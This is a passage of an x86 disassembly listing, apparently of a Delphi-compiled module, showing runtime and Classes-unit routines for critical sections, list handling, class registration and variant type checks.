loc_400129FB:				; CODE XREF: sub_4001293C+82j
		lea	ecx, [ebp+var_208]
		movzx	eax, di
		mov	edx, 4
		call	sub_40007DAC
		mov	ecx, [ebp+var_208]
		mov	edx, off_4001B09C
		mov	edx, [edx]
		mov	eax, esi
		call	sub_40004B94


loc_40012A23:				; CODE XREF: sub_4001293C+44j
					; sub_4001293C+5Cj ...
		test	bh, 20h
		jz	short loc_40012A36
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_40012A94
		call	sub_40004B94


loc_40012A36:				; CODE XREF: sub_4001293C+EAj
		test	bh, 40h
		jz	short loc_40012A49
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_40012AA4
		call	sub_40004B94


loc_40012A49:				; CODE XREF: sub_4001293C+FDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012A69


loc_40012A56:				; CODE XREF: sub_4001293C+12Bj
		lea	eax, [ebp+var_208]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40012A62:				; DATA XREF: sub_4001293C+1Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012A56
; ---------------------------------------------------------------------------


loc_40012A69:				; CODE XREF: sub_4001293C+125j
					; DATA XREF: sub_4001293C+115o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001293C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 6
aString_0	db 'String',0           ; DATA XREF: sub_4001293C+52o
		align 10h
		dd 0FFFFFFFFh, 3
dword_40012A88	dd 796E41h, 0FFFFFFFFh,	6dword_40012A94	dd 61727241h, 2079h, 0FFFFFFFFh, 6dword_40012AA4	dd 65527942h, 2066h
; =============== S U B	R O U T	I N E =======================================



sub_40012AAC	proc near		; CODE XREF: sub_40012AC4+5p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000E3D8
		mov	word ptr [ebx],	0Ah
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_40012AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012AC4	proc near		; CODE XREF: sub_40019144+1Fp
		mov	edx, 80020004h
		call	sub_40012AAC
		retn
sub_40012AC4	endp

; ---------------------------------------------------------------------------
		align 10h
off_40012AD0	dd offset dword_40012AD4 ; DATA	XREF: sub_40012E54+56r
dword_40012AD4	dd 302E0311h, 432h, 0		dd 0FFFFFF00h
		db 0FFh
		dd offset off_4000D6B4
		db 8, 56h, 61h
		dd 6E616972h, 0C08B7374h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012AF4	proc near		; CODE XREF: sub_40012E54+19p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_4001F2A8
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	edx, edx
		push	ebp
		push	offset loc_40012B55
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [esi]
		call	sub_4000596C
		mov	ebx, eax
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40012B3D


loc_40012B25:				; CODE XREF: sub_40012AF4+47j
		mov	eax, [esi]
		mov	eax, [eax+ebx*4]
		cmp	eax, dword_4001AA1C
		jz	short loc_40012B37
		call	sub_40003CE8


loc_40012B37:				; CODE XREF: sub_40012AF4+3Cj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40012B25


loc_40012B3D:				; CODE XREF: sub_40012AF4+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012B5C


loc_40012B4A:				; CODE XREF: sub_40012AF4+66j
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012B55:				; DATA XREF: sub_40012AF4+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012B4A
; ---------------------------------------------------------------------------


loc_40012B5C:				; DATA XREF: sub_40012AF4+51o
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40012AF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012B60	proc near		; DATA XREF: .text:4000D690o
		push	ebp
		mov	ebp, esp
		call	sub_40012D20
		pop	ebp
		retn	4
sub_40012B60	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012B6C	proc near		; DATA XREF: .text:4000D67Co

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012B98
		movzx	eax, word ptr [ebx+4]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012B9F
; ---------------------------------------------------------------------------


loc_40012B98:				; CODE XREF: sub_40012B6C+16j
		mov	eax, ebx
		call	sub_40012D18


loc_40012B9F:				; CODE XREF: sub_40012B6C+2Aj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40012B6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BA4	proc near		; DATA XREF: .text:4000D680o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	edi, [ebp+arg_0]
		cmp	di, [ebx+4]
		jz	short loc_40012BDC
		lea	edx, [ebp+var_8]
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012BDC
		push	edi
		mov	ecx, esi
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012BE3
; ---------------------------------------------------------------------------


loc_40012BDC:				; CODE XREF: sub_40012BA4+17j
					; sub_40012BA4+26j
		mov	eax, ebx
		call	sub_40012D18


loc_40012BE3:				; CODE XREF: sub_40012BA4+36j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40012BA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BEC	proc near		; DATA XREF: .text:4000D69Co
		push	ebp
		mov	ebp, esp
		call	sub_40012D20
		pop	ebp
		retn	4
sub_40012BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BF8	proc near		; DATA XREF: .text:4000D698o

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		lea	eax, [ebp+var_1]
		push	eax
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+38h]
		movzx	eax, [ebp+var_1]
		mov	edx, [ebp+arg_0]
		lea	edx, [edx+edx*2]
		add	edx, offset dword_4001AA74
		movzx	eax, byte ptr [edx+eax-2Ah]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40012BF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012C30	proc near		; DATA XREF: .text:4000D684o

var_14		= word ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebp, [eax]
		call	dword ptr [ebp+0Ch]
		test	al, al
		jz	short loc_40012C5C
		movzx	eax, [esp+14h+var_14]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012C63
; ---------------------------------------------------------------------------


loc_40012C5C:				; CODE XREF: sub_40012C30+18j
		mov	eax, ebx
		call	sub_40012D18


loc_40012C63:				; CODE XREF: sub_40012C30+2Aj
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40012C30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012C6C	proc near		; DATA XREF: .text:4000D660o

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_40003FD8
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	edx, edx
		push	ebp
		push	offset loc_40012CCF
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+4]
		test	ax, ax
		jz	short loc_40012CB7
		movzx	eax, ax
		mov	edx, ds:dword_4001F2A8
		mov	ecx, dword_4001AA1C
		mov	[edx+eax*4-400h], ecx


loc_40012CB7:				; CODE XREF: sub_40012C6C+33j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012CD6


loc_40012CC4:				; CODE XREF: sub_40012C6C+68j
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012CCF:				; DATA XREF: sub_40012C6C+1Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012CC4
; ---------------------------------------------------------------------------


loc_40012CD6:				; DATA XREF: sub_40012C6C+53o
		movzx	edx, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_40003CD8
		cmp	[ebp+var_5], 0
		jle	short loc_40012CF3
		mov	eax, [ebp+var_4]
		call	sub_40003F80


loc_40012CF3:				; CODE XREF: sub_40012C6C+7Dj
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40012C6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012CF8	proc near		; DATA XREF: .text:4000D678o
		xor	eax, eax
		retn
sub_40012CF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012CFC	proc near		; DATA XREF: .text:4000D668o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_40012CFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012D10	proc near		; DATA XREF: .text:4000D670o
		mov	word ptr [ecx],	8
		mov	al, 1
		retn
sub_40012D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012D18	proc near		; CODE XREF: sub_40012B6C+2Ep
					; sub_40012BA4+3Ap ...
		call	sub_4000DBA0
		retn
sub_40012D18	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012D20	proc near		; CODE XREF: sub_40012B60+3p
					; sub_40012BEC+3p ...
		call	sub_4000DC90
		retn
sub_40012D20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012D28	proc near		; CODE XREF: sub_40012D4C+3p
		call	sub_4000E0EC
		retn
sub_40012D28	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D30	proc near		; DATA XREF: .text:4000D66Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_40012D30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012D44	proc near		; DATA XREF: .text:4000D694o
		call	sub_40012D20
		retn
sub_40012D44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D4C	proc near		; DATA XREF: .text:4000D674o
		push	ebp
		mov	ebp, esp
		call	sub_40012D28
		pop	ebp
		retn	8
sub_40012D4C	endp

; ---------------------------------------------------------------------------


loc_40012D58:				; CODE XREF: .text:4000D5DBj
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4


loc_40012D64:				; CODE XREF: .text:4000D5E5j
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D70	proc near		; DATA XREF: .text:off_4000D664o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	eax, ebx
		call	sub_40003D9C
		test	al, al
		jz	short loc_40012D8C
		xor	eax, eax
		jmp	short loc_40012D91
; ---------------------------------------------------------------------------


loc_40012D8C:				; CODE XREF: sub_40012D70+16j
		mov	eax, 80004002h


loc_40012D91:				; CODE XREF: sub_40012D70+1Aj
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40012D70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D98	proc near		; CODE XREF: sub_4000E35C+56p
					; sub_4000E654+80p ...

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:dword_4001F2A8, 0
		jz	short loc_40012DBA
		cmp	bx, 100h
		jb	short loc_40012DBA
		cmp	bx, 7FFh
		jbe	short loc_40012DBE


loc_40012DBA:				; CODE XREF: sub_40012D98+12j
					; sub_40012D98+19j
		xor	eax, eax
		jmp	short loc_40012DC0
; ---------------------------------------------------------------------------


loc_40012DBE:				; CODE XREF: sub_40012D98+20j
		mov	al, 1


loc_40012DC0:				; CODE XREF: sub_40012D98+24j
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jz	short loc_40012E47
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	eax, eax
		push	ebp
		push	offset loc_40012E40
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:dword_4001F2A8
		call	sub_4000596C
		movzx	edi, bx
		mov	edx, edi
		sub	edx, 100h
		cmp	eax, edx
		setnle	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_40012E28
		mov	eax, ds:dword_4001F2A8
		mov	eax, [eax+edi*4-400h]
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jz	short loc_40012E1F
		mov	eax, [esi]
		cmp	eax, dword_4001AA1C
		jnz	short loc_40012E23


loc_40012E1F:				; CODE XREF: sub_40012D98+7Bj
		xor	eax, eax
		jmp	short loc_40012E25
; ---------------------------------------------------------------------------


loc_40012E23:				; CODE XREF: sub_40012D98+85j
		mov	al, 1


loc_40012E25:				; CODE XREF: sub_40012D98+89j
		mov	[ebp+var_1], al


loc_40012E28:				; CODE XREF: sub_40012D98+68j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012E47


loc_40012E35:				; CODE XREF: sub_40012D98+ADj
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012E40:				; DATA XREF: sub_40012D98+3Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012E35
; ---------------------------------------------------------------------------


loc_40012E47:				; CODE XREF: sub_40012D98+2Fj
					; DATA XREF: sub_40012D98+98o
		movzx	eax, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40012D98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012E54	proc near		; DATA XREF: .text:40018380o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40012EC3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2A4
		jnz	short loc_40012EB5
		call	sub_40012AF4
		push	offset dword_4001F2AC
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, offset dword_4001F284
		call	sub_4000E3EC
		mov	eax, offset dword_4001AA14
		call	sub_40004884
		mov	eax, offset off_4001AA20
		mov	ecx, 15h
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001F2A8
		mov	edx, ds:off_40012AD0
		call	sub_40005B34


loc_40012EB5:				; CODE XREF: sub_40012E54+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012ECA


loc_40012EC2:				; CODE XREF: sub_40012E54+74j
		retn
; ---------------------------------------------------------------------------


loc_40012EC3:				; DATA XREF: sub_40012E54+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012EC2
; ---------------------------------------------------------------------------


loc_40012ECA:				; CODE XREF: sub_40012E54:loc_40012EC2j
					; DATA XREF: sub_40012E54+69o
		pop	ebp
		retn
sub_40012E54	endp

; ---------------------------------------------------------------------------
off_40012ECC	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFACo
		dd 0FFAAh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF90o
		dd 0FFABh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF7Co
		dd 0FFACh
off_40012EE4	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFE4o
		dd 0FFADh
off_40012EEC	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFA0o
		dd 0FFAEh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B05Co
		dd 0FFAFh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0D4o
		db 90h
		db 0FFh, 2 dup(0)
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFCCo
		dd 0FF91h, 0FFFFFFFFh, 5
aFalse_0	db 'False',0            ; DATA XREF: .data:off_4001AA88o
		align 4
dword_40012F1C	dd 0FFFFFFFFh, 4, 65757254h, 0		dd 0FFFFFFFFh, 1
dword_40012F34	dd 2Eh		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012F38	proc near		; DATA XREF: .text:40018390o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40012F7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2C4
		jnz	short loc_40012F70
		mov	eax, offset off_4001AA88
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset off_4001AA90
		call	sub_40004884


loc_40012F70:				; CODE XREF: sub_40012F38+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012F85


loc_40012F7D:				; CODE XREF: sub_40012F38+4Bj
		retn
; ---------------------------------------------------------------------------


loc_40012F7E:				; DATA XREF: sub_40012F38+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012F7D
; ---------------------------------------------------------------------------


loc_40012F85:				; CODE XREF: sub_40012F38:loc_40012F7Dj
					; DATA XREF: sub_40012F38+40o
		pop	ebp
		retn
sub_40012F38	endp

; ---------------------------------------------------------------------------
		align 4
off_40012F88	dd offset dword_40012FD4 ; DATA	XREF: sub_40013770+23r
		dd 7 dup(0)
		dd offset dword_40012FD4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40012FD4	dd 694C450Ah, 72457473h, 90726F72h					; .text:40012FA8o
off_40012FE0	dd offset dword_4001302C ; DATA	XREF: sub_4001552C+36r
		dd 7 dup(0)
		dd offset dword_4001302C
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4001302C	dd 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh
					; DATA XREF: .text:off_40012FE0o
					; .text:40013000o
off_40013040	dd offset off_4001308C	; DATA XREF: sub_4001326C+25r
					; sub_400133D4+1Er ...
		dd 7 dup(0)
		dd offset dword_4001309C
		dd 10h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_4001369C
off_4001308C	dd offset loc_40013824	; DATA XREF: .text:off_40013040o
		dd offset nullsub_5
		dd offset sub_400136F0
		dd offset sub_40013770
dword_4001309C	dd 694C5405h, 0C08B7473hoff_400130A4	dd offset dword_400130F0 ; DATA	XREF: sub_400191F8+5Br
					; sub_400191F8+6Cr ...
		dd 7 dup(0)
		dd offset dword_400130F0
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400139A0
dword_400130F0	dd 6854540Bh, 64616572h, 7473694Ch					; .text:400130C4o
		dd offset off_40013148	; DATA XREF: sub_400133D4+34r
		dd 3 dup(0)
		dd offset dword_40013174
		dd 2 dup(0)
		dd offset dword_40013154
		dd offset word_40013162
		dd 4
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40013B14
off_40013148	dd offset loc_40013C24	; DATA XREF: .text:400130FCo
					; .text:40013181o
		dd offset nullsub_6
		dd offset sub_40013B40
dword_40013154	dd 0FFFF0002h			db 0FEh, 0FFh
		dd offset loc_40013CE0
		dd offset sub_40013C30
word_40013162	dw 540Bh		; DATA XREF: .text:4001311Co
		dd 73726550h, 65747369h, 0C08B746Eh
		dd offset dword_40013174
dword_40013174	dd 50540B07h, 69737265h, 6E657473h					; .text:40013170o
		db 74h
		dd offset off_40013148
		dd offset off_40001070
		db 2 dup(0), 7
aClasses	db 'Classes',0
		align 8
off_40013198	dd offset dword_4001319C ; DATA	XREF: sub_40015C34+9Br
					; sub_40015C34+B0r
dword_4001319C	dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1
					; DATA XREF: .text:off_40013198o
		dd offset off_40001000
		dd 4
off_400131BC	dd offset dword_40013208 ; DATA	XREF: sub_400133D4+3Cr
		dd 7 dup(0)
		dd offset dword_40013208
		dd 14h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400132C8
dword_40013208	dd 65525409h, 6F724767h, 0C08B7075h					; .text:400131DCo
off_40013214	dd offset dword_40013260 ; DATA	XREF: sub_400191F8+4Ar
		dd 7 dup(0)
		dd offset dword_40013260
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40013448
dword_40013260	dd 6552540Ah, 6F724767h, 90737075h					; .text:40013234o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001326C	proc near		; CODE XREF: sub_400133D4+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4001327F
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001327F:				; CODE XREF: sub_4001326C+9j
		mov	edi, ecx
		mov	[ebp+var_1], dl
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_40003CB8
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	esi, eax
		mov	[ebx+0Ch], esi
		mov	eax, esi
		mov	edx, edi
		call	sub_400136BC
		mov	eax, ebx
		cmp	[ebp+var_1], 0
		jz	short loc_400132C0
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_400132C0:				; CODE XREF: sub_4001326C+43j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4001326C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400132C8	proc near		; DATA XREF: .text:40013204o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		mov	eax, [esi+4]
		call	sub_40003CE8
		mov	eax, [esi+8]
		call	sub_40003CE8
		mov	eax, [esi+0Ch]
		call	sub_40003CE8
		test	bl, bl
		jle	short loc_40013302
		mov	eax, esi
		call	sub_40003F80


loc_40013302:				; CODE XREF: sub_400132C8+31j
		pop	esi
		pop	ebx
		retn
sub_400132C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013308	proc near		; CODE XREF: sub_40013328+1Fp
					; sub_40013328+54p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_40013322
		mov	eax, esi
		call	sub_40005B98
		cmp	ebx, eax
		jz	short loc_40013322
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40013322:				; CODE XREF: sub_40013308+8j
					; sub_40013308+13j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40013308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013328	proc near		; CODE XREF: sub_400134C0+24p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, [esi+0Ch]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013360


loc_4001333B:				; CODE XREF: sub_40013328+36j
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_400137FC
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_4001335A
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_40013708


loc_4001335A:				; CODE XREF: sub_40013328+26j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4001333B


loc_40013360:				; CODE XREF: sub_40013328+11j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40013395
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013395


loc_40013370:				; CODE XREF: sub_40013328+6Bj
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_400137FC
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_4001338F
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_40013708


loc_4001338F:				; CODE XREF: sub_40013328+5Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013370


loc_40013395:				; CODE XREF: sub_40013328+3Dj
					; sub_40013328+46j
		mov	ebx, [esi+8]
		test	ebx, ebx
		jz	short loc_400133D0
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		cmp	eax, 0
		jl	short loc_400133D0
		mov	ebx, eax


loc_400133AB:				; CODE XREF: sub_40013328+A6j
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_400133CA
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+48h]


loc_400133CA:				; CODE XREF: sub_40013328+96j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_400133AB


loc_400133D0:				; CODE XREF: sub_40013328+72j
					; sub_40013328+7Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013328	endp


; =============== S U B	R O U T	I N E =======================================



sub_400133D4	proc near		; CODE XREF: sub_400191F8+4Fp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_400133E3
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_400133E3:				; CODE XREF: sub_400133D4+5j
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_40003CB8
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	[edi+4], eax
		lea	eax, [edi+8]
		push	eax
		call	sub_400065E0	; InitializeCriticalSection
		mov	ecx, ds:off_400130FC
		mov	dl, 1
		mov	eax, ds:off_400131BC
